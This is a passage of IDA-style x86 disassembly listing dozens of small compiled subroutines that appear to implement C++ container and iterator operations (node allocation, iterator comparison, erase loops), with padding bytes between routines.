		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218F0	proc near		; CODE XREF: sub_401816j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40196F
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401997
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401947
sub_4218F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421960	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_421960	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4219A0	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_4219A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219D0	proc near		; CODE XREF: sub_402167j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40196F
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4018FC
sub_4219D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A10	proc near		; CODE XREF: sub_401703j
		push	esi
		mov	esi, ecx
		call	sub_4019EC
		mov	eax, esi
		pop	esi
		retn
sub_421A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421A30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421A50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A80	proc near		; CODE XREF: sub_401802j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FFF
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421A80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AB0	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421AB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013ED
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021B7
sub_421AF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B60	proc near		; CODE XREF: sub_40145Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421B60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421BA0	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421BA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BAE
sub_421BD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C10	proc near		; CODE XREF: sub_401B40j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421C10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421C30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C50	proc near		; CODE XREF: sub_40182Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421C50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D48
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421C80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401ECE
		mov	edi, eax
		push	edi
		call	sub_401B1D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421CB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B1D
		push	edi
		mov	[eax], ebx
		call	sub_401B1D
		mov	edi, [eax]
		push	edi
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E3D
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421D50	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401CF3
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401901
sub_421D50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401CF3
		push	edi
		mov	[eax], ebx
		call	sub_401CF3
		mov	edi, [eax]
		push	edi
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017E9
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421DF0	proc near		; CODE XREF: sub_401997j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jz	short loc_421E4A


loc_421E08:				; CODE XREF: sub_421DF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020B8
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A1E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jnz	short loc_421E08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421E4A:				; CODE XREF: sub_421DF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421DF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E80	proc near		; CODE XREF: sub_401901j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401DF2
sub_421E80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421E95
		mov	edi, esi


loc_421E95:				; CODE XREF: ___:00421E91j
		push	esi
		call	sub_40204F
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421EAA
		mov	edi, esi


loc_421EAA:				; CODE XREF: ___:00421EA6j
		push	esi
		call	sub_401CF3
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421ED0	proc near		; CODE XREF: sub_401947j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401546
sub_421ED0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_40204Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F10	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_421F10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F30	proc near		; CODE XREF: sub_4019ECj
		mov	eax, ecx
		retn
sub_421F30	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F50	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401519
		mov	eax, esi
		pop	esi
		retn	4
sub_421F50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F80	proc near		; CODE XREF: sub_401FFFj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_421F80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FB0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018E8
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_421FB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013DE
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4220AA


loc_422068:				; CODE XREF: sub_422050+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019AB
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B7C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422068
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4220AA:				; CODE XREF: sub_422050+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422050	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020BD
sub_4220E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4220F5
		mov	edi, esi


loc_4220F5:				; CODE XREF: ___:004220F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42210A
		mov	edi, esi


loc_42210A:				; CODE XREF: ___:00422106j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422130	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018E3
sub_422130	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422150	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422170	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422170	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422190	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221B0	proc near		; CODE XREF: sub_401D75j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018ED
		mov	eax, esi
		pop	esi
		retn	4
sub_4221B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221E0	proc near		; CODE XREF: sub_401D48j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4221E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422210	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A2D
		add	esp, 8
		retn	8
sub_422210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422240	proc near		; CODE XREF: sub_401A1Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020B8
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40204F
		push	esi
		mov	ebx, eax
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401CF3
		push	esi
		mov	ebx, eax
		call	sub_40204F
		mov	eax, [eax]
		push	eax
		call	sub_401CF3
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401631
		push	esi
		mov	ecx, edi
		call	sub_401947
sub_422240	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422300	proc near		; CODE XREF: sub_401CF3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422300	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422320	proc near		; CODE XREF: sub_401DF2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_422320	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422350	proc near		; CODE XREF: sub_401546j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_422350	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422370	proc near		; CODE XREF: sub_4017E9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40201D
		add	esp, 8
		retn	8
sub_422370	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223A0	proc near		; CODE XREF: sub_401519j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4223A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4223C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223E0	proc near		; CODE XREF: sub_4020B8j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4223E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422410	proc near		; CODE XREF: sub_401B7Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019AB
		mov	ecx, eax
		call	sub_4018E8
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E60
		push	esi
		mov	ecx, edi
		call	sub_4021B7
sub_422410	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4224D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4224F0	proc near		; CODE XREF: sub_4020BDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4224F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422520	proc near		; CODE XREF: sub_4018E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_422520	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422540	proc near		; CODE XREF: sub_4013DEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401ED3
		add	esp, 8
		retn	8
sub_422540	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422570	proc near		; CODE XREF: sub_4018EDj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422570	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422590	proc near		; CODE XREF: sub_4018E8j
		mov	eax, [ecx]
		retn
sub_422590	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225B0	proc near		; CODE XREF: sub_4019ABj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40182A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4225B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225E0	proc near		; CODE XREF: sub_401631j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A78
		pop	ecx
		retn	4
sub_4225E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422600	proc near		; CODE XREF: sub_401E60j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401F9B
		pop	ecx
		retn	4
sub_422600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422620	proc near		; CODE XREF: sub_401A2Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
